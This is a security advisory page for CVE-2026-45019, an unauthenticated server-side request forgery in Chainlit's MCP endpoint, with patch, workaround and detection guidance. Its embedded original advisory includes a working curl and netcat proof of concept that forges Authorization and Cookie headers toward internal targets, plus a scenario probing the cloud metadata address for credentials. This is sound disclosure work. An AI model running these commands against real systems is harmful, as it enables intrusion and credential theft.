CVE-2026-45019: Chainlit: unauth SSRF via MCP url/header injection

GHSA-hvfh-5mj3-5f3j HIGH
Published August 25, 2026
CISO Take

Chainlit's MCP integration accepts an unauthenticated, user-supplied URL and HTTP headers and forwards them straight into outbound server-side requests, turning the `/mcp` endpoint into a blind SSRF primitive that can forge `Authorization` and `Cookie` headers against internal services or cloud metadata endpoints. The flaw has existed since MCP support first shipped in v2.4.0rc0, with attacker-controlled header forwarding added in v2.6.4, so any deployment between those versions and 2.12.0 running with `features.mcp.enabled = true` is exposed to any client able to open a session — no credentials needed. There's no public exploit or scanner template yet and it isn't in CISA KEV, but the PoC is three curl commands: no AI/ML expertise is required, and the blast radius extends to all 41 packages that depend on chainlit. MCP has been off by default since v2.7.0, so most deployments are unaffected out of the box, but any team that explicitly enabled it for tool integrations is exposed until patched. Upgrade to Chainlit 2.12.0 (note the breaking MCP config migration), or in the interim set `features.mcp.enabled = false`, require authentication on the app, and restrict outbound egress from the Chainlit host to internal ranges and the cloud metadata address.

Sources: NVD GitHub Advisory CISA KEV ATLAS

What is the risk?

CVSS 7.2 (High), AV:N/AC:L/PR:N/UI:N — network-reachable, low complexity, no privileges or user interaction required. Exploitability is trivial: the PoC is unauthenticated HTTP requests with no AI/ML-specific knowledge needed. Impact is capped at confidentiality/integrity-low per CVSS because the SSRF is blind (no response returned to the attacker), but the writeup correctly notes that with full control of both destination URL and headers, an attacker can still issue state-changing, authenticated POST/PUT requests to internal APIs without needing to read the response — this is a stronger primitive than typical blind SSRF. Real-world exposure is mitigated by MCP being opt-in and off by default since v2.7.0; risk concentrates in the subset of deployments that deliberately enabled MCP tool integrations, which is exactly the population most likely to expose Chainlit as an internet-facing agent/chat front-end. No public exploit code, no Nuclei template, not in CISA KEV, and EPSS data is unavailable — treat as high-priority patch-on-next-cycle rather than emergency, unless MCP is enabled and internet-facing.

How does the attack unfold?

Entry point
Attacker opens an anonymous Socket.IO session against a public-facing Chainlit deployment with MCP enabled and no auth callback configured.
AML.T0049
SSRF trigger
Attacker POSTs a crafted `url` and `headers` payload to `/mcp` with `clientType: sse` or `streamable-http`, and the server issues the outbound request unmodified.
Internal recon / credential probing
The blind SSRF is used to enumerate internal services, scan ports, or query the cloud metadata endpoint for IAM credentials.
AML.T0075
Impact
Forged `Authorization`/`Cookie` headers let the attacker issue authenticated, state-changing requests to internal APIs without ever seeing the response.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
Chainlit pip >= 2.4.0rc0, <= 2.11.1 2.12.0
12.4K 41 dependents Pushed 7d ago 67% patched ~44d to patch Full package profile →

Do you use Chainlit? You're affected.

How severe is it?

CVSS 3.1
7.2 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Changed
C Low
I Low
A None

What should I do?

1 step
  1. Patch to Chainlit 2.12.0, which enforces deny-by-default: user-provided MCP connections require explicit opt-in (features.mcp.user_servers.enabled = true) plus a non-empty allowed_urls allowlist, strips dangerous headers (Cookie, Host, X-Forwarded-*, etc.), and stops following redirects on MCP transports. Note the breaking config change — legacy [features.mcp.sse]/[stdio]/[streamable-http] sections must be migrated to [[features.mcp.servers]] before MCP can be re-enabled. If immediate upgrade isn't possible: set features.mcp.enabled = false (fully closes this issue and the companion stdio command-injection CVE-2026-45018), restrict outbound egress from the Chainlit host to internal ranges and the metadata endpoint, and/or configure an auth callback so /mcp requires an authenticated session. Post-upgrade, remember the residual risk: /mcp stays reachable anonymously if no auth callback is registered, and the allowlist is hostname-based with no private-IP/IP-literal blocking, so DNS rebinding to loopback/link-local/metadata addresses is still possible. Detection: monitor Chainlit host egress logs for connections to RFC1918 ranges or 169.254.169.254, and alert on unexpected Authorization/Cookie header values on outbound requests originating from the app server.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity
ISO 42001
A.6.2.6 - AI system security
NIST AI RMF
MANAGE-4 - Risk monitoring and response for deployed AI systems
OWASP LLM Top 10
LLM07 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2026-45019?

Chainlit's MCP integration accepts an unauthenticated, user-supplied URL and HTTP headers and forwards them straight into outbound server-side requests, turning the `/mcp` endpoint into a blind SSRF primitive that can forge `Authorization` and `Cookie` headers against internal services or cloud metadata endpoints. The flaw has existed since MCP support first shipped in v2.4.0rc0, with attacker-controlled header forwarding added in v2.6.4, so any deployment between those versions and 2.12.0 running with `features.mcp.enabled = true` is exposed to any client able to open a session — no credentials needed. There's no public exploit or scanner template yet and it isn't in CISA KEV, but the PoC is three curl commands: no AI/ML expertise is required, and the blast radius extends to all 41 packages that depend on chainlit. MCP has been off by default since v2.7.0, so most deployments are unaffected out of the box, but any team that explicitly enabled it for tool integrations is exposed until patched. Upgrade to Chainlit 2.12.0 (note the breaking MCP config migration), or in the interim set `features.mcp.enabled = false`, require authentication on the app, and restrict outbound egress from the Chainlit host to internal ranges and the cloud metadata address.

Is CVE-2026-45019 actively exploited?

No confirmed active exploitation of CVE-2026-45019 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-45019?

Patch to Chainlit 2.12.0, which enforces deny-by-default: user-provided MCP connections require explicit opt-in (`features.mcp.user_servers.enabled = true`) plus a non-empty `allowed_urls` allowlist, strips dangerous headers (Cookie, Host, X-Forwarded-*, etc.), and stops following redirects on MCP transports. Note the breaking config change — legacy `[features.mcp.sse]`/`[stdio]`/`[streamable-http]` sections must be migrated to `[[features.mcp.servers]]` before MCP can be re-enabled. If immediate upgrade isn't possible: set `features.mcp.enabled = false` (fully closes this issue and the companion stdio command-injection CVE-2026-45018), restrict outbound egress from the Chainlit host to internal ranges and the metadata endpoint, and/or configure an auth callback so `/mcp` requires an authenticated session. Post-upgrade, remember the residual risk: `/mcp` stays reachable anonymously if no auth callback is registered, and the allowlist is hostname-based with no private-IP/IP-literal blocking, so DNS rebinding to loopback/link-local/metadata addresses is still possible. Detection: monitor Chainlit host egress logs for connections to RFC1918 ranges or 169.254.169.254, and alert on unexpected `Authorization`/`Cookie` header values on outbound requests originating from the app server.

What systems are affected by CVE-2026-45019?

This vulnerability affects the following AI/ML architecture patterns: agent frameworks, chat/inference UI front-ends, RAG pipelines.

What is the CVSS score for CVE-2026-45019?

CVE-2026-45019 has a CVSS v3.1 base score of 7.2 (HIGH).

What is the AI security impact?

Affected AI Architectures

agent frameworkschat/inference UI front-endsRAG pipelines

MITRE ATLAS Techniques

AML.T0006 Active Scanning
AML.T0049 Exploit Public-Facing Application
AML.T0075 Cloud Service Discovery

Compliance Controls Affected

EU AI Act: Article 15
ISO 42001: A.6.2.6
NIST AI RMF: MANAGE-4
OWASP LLM Top 10: LLM07

What are the technical details?

Original Advisory

### Am I affected? Only if your deployment sets `features.mcp.enabled = true` in `.chainlit/config.toml`. **MCP has been disabled by default since v2.7.0**, so most Chainlit deployments are not affected. No authentication is required: `/mcp` is reachable by any client that can open a session. ### Summary When MCP is enabled (`features.mcp.enabled = true`), the `POST /mcp` endpoint for `sse` and `streamable-http` transports accepts a user-controlled `url` and optional `headers` dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as `Authorization` and `Cookie`. ### Affected / patched versions | | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | `>=2.4.0rc0, <2.12.0` (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | `>=2.6.4, <2.12.0` (added in PR #2292) | | Patched | **2.12.0** (releasing 2026-08-25) | ### Details The Pydantic request models in `backend/chainlit/types.py` define `url` as a bare `str` with no scheme check, no private IP filtering, and no allowlist. When `clientType` is `"sse"` or `"streamable-http"`, the handler in `backend/chainlit/server.py` passes the URL and headers directly to the MCP SDK's `sse_client()` or `streamablehttp_client()`, which make outbound HTTP requests from the server. The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added `streamable-http` support and introduced attacker-controlled `headers` forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like `Authorization` and `Cookie`. This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254). **Vulnerable code:** `backend/chainlit/server.py` — `connect_mcp` handler **Sink:** `backend/chainlit/server.py` — `sse_client` / `streamablehttp_client` ### PoC Tested against Chainlit 2.11.0 with `features.mcp.enabled = true` and a local TCP listener. 1. Start a listener to capture the server-side request: ```bash nc -l 4445 ``` 2. Establish a Socket.IO session and trigger the SSRF: ```bash EIO_SID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \ | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])") curl -s -X POST \ "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIO_SID" \ -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}' curl -s -X POST 'http://TARGET:8000/mcp' \ -H 'Content-Type: application/json' \ -d '{ "sessionId": "ssrf", "clientType": "streamable-http", "name": "probe", "url": "http://127.0.0.1:4445/internal-admin", "headers": { "Authorization": "Bearer attacker-controlled-token", "X-Internal-Secret": "exfiltrated", "Cookie": "session=hijacked" } }' ``` 3. The listener captures the server-side request with all attacker-controlled headers: ``` POST /internal-admin HTTP/1.1 Host: 127.0.0.1:4445 Authorization: Bearer attacker-controlled-token X-Internal-Secret: exfiltrated Cookie: session=hijacked ``` ### Impact **High.** An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers. Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue **state-changing, authenticated requests to internal APIs**: the PoC above is itself a POST carrying a forged `Authorization` header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected. ### Fix Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections: - User-provided MCP connections now require explicit opt-in via `features.mcp.user_servers.enabled = true`, plus a non-empty `allowed_urls` allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed. - URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with `.`/`..` path segments, encoded separators (`%2e`, `%2f`, `%5c`), double-encoded sequences (`%25`), backslashes, or non-ASCII characters in the path are rejected. - Restricted headers are stripped from user-supplied headers before the request is sent: `Cookie`, `Host`, `Forwarded`, `X-Forwarded-*`, `X-Real-IP`, `Via`, `Proxy-Authorization`, `X-HTTP-Method-Override`, `X-Original-URL`, `X-Rewrite-URL`, and hop-by-hop headers. `Authorization` is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by `allowed_urls`. - Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and `GET /project/settings` no longer discloses `allowed_urls`. During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist: - HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded `follow_redirects=True`, so only the first hop of a request would ever have been checked against an allowlist. - Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's `endpoint` event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host. A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport. ### Workarounds If you cannot upgrade immediately: - Set `features.mcp.enabled = false` in `.chainlit/config.toml`. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018). - Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint). - Configure authentication (register an auth callback) so that `/mcp` requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path. ### Upgrading to 2.12.0 > **Breaking change.** 2.12.0 changes how MCP servers are configured. If `.chainlit/config.toml` still uses the legacy `[features.mcp.sse]`, `[features.mcp.stdio]`, or `[features.mcp.streamable-http]` sections, or the `allowed_executables` setting, the application will fail to start **once MCP is enabled**, until you migrate to the new `[[features.mcp.servers]]` / `allowed_urls` configuration. See the migration guide in `CHANGELOG.md` before upgrading. Deployments with `features.mcp.enabled = false` are not affected by this startup check. ### Residual risk after upgrading - On deployments with no authentication configured, `/mcp` remains reachable anonymously after upgrading, because `get_current_user` returns `None` when no auth callback is registered. Where `features.mcp.user_servers.enabled = true`, an anonymous client can therefore still drive outbound requests to any URL on the `allowed_urls` allowlist, with an `Authorization` header of its own choosing. - There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation. - Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction. ### Credits Vipin <vipin@spl.team> SPL <security@spl.team>

Exploitation Scenario

An attacker finds an internet-facing Chainlit deployment with MCP tool integration enabled (e.g., discovered via Shodan/fingerprinting or simply because it's the company's public AI assistant). Without any credentials, they open a Socket.IO session, then POST to `/mcp` with `clientType: streamable-http` and a `url` pointing at an internal admin API (or the cloud metadata endpoint), attaching a forged `Authorization: Bearer` header and internal-only headers they've guessed or harvested from prior recon. The Chainlit server issues the outbound request on the attacker's behalf; even though the response is never returned, a POST/PUT to an internal write endpoint still executes. The attacker repeats this against different internal hosts and ports to map the internal network, and separately targets 169.254.169.254 to attempt IAM credential theft from the cloud metadata service — all without ever needing to see a response.

Weaknesses (CWE)

CWE-918 — Server-Side Request Forgery (SSRF): The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Timeline

Published
August 25, 2026
Last Modified
August 25, 2026
First Seen
August 25, 2026

Related Vulnerabilities